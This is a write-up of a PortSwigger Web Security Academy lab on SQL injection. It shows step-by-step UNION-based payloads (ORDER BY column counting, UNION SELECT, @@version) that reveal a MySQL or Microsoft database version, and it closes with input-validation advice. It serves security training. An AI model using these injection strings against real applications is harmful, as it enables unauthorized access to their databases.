SQL injection attack,querying the database type and version on MySQL and Microsoft
SQL injection attack,querying the database type and version on MySQL and Microsoft
Platform: PortSwigger | Category: SQL_injection | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, SQL_injection
Summary
Walkthrough of the PortSwigger Web Security Academy lab SQL injection attack,querying the database type and version on MySQL and Microsoft (SQL_injection). This lab demonstrates a sql_injection vulnerability and its exploitation to achieve the lab objectives.
Lab Overview
PortSwigger Web Security Academy — SQL_injection
This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.
Lab Description :


Solution :
NOTE - Since it is either microsoft or MYQL db use # as comment
Determine no of columns -
ORDER BY 3 gives error which means there are 2 columns.
sql read-only • copy allowedSELECT * FROM someTable WHERE category = '<CATEGORY>' ORDER BY 3 #

Determine column which has text data -
sql read-only • copy allowedSELECT * FROM someTable WHERE category = '<CATEGORY>' UNION SELECT 'shebu','cys' #
Both the columns have text data since both returns the same i/p value.

Retreive db version
The syntax to find version info of both MYSQL & Microsoft db are the same - @@version
sql read-only • copy allowedSELECT * FROM someTable WHERE category = '<CATEGORY>' UNION SELECT @@version,NULL #


Key Takeaways / Lessons
- Understanding SQL_injection detection and exploitation is crucial for web security.
- Always validate and sanitize user input; implement proper access controls.
- This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.
Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: SQL injection attack,querying the database type and version on MySQL and Microsoft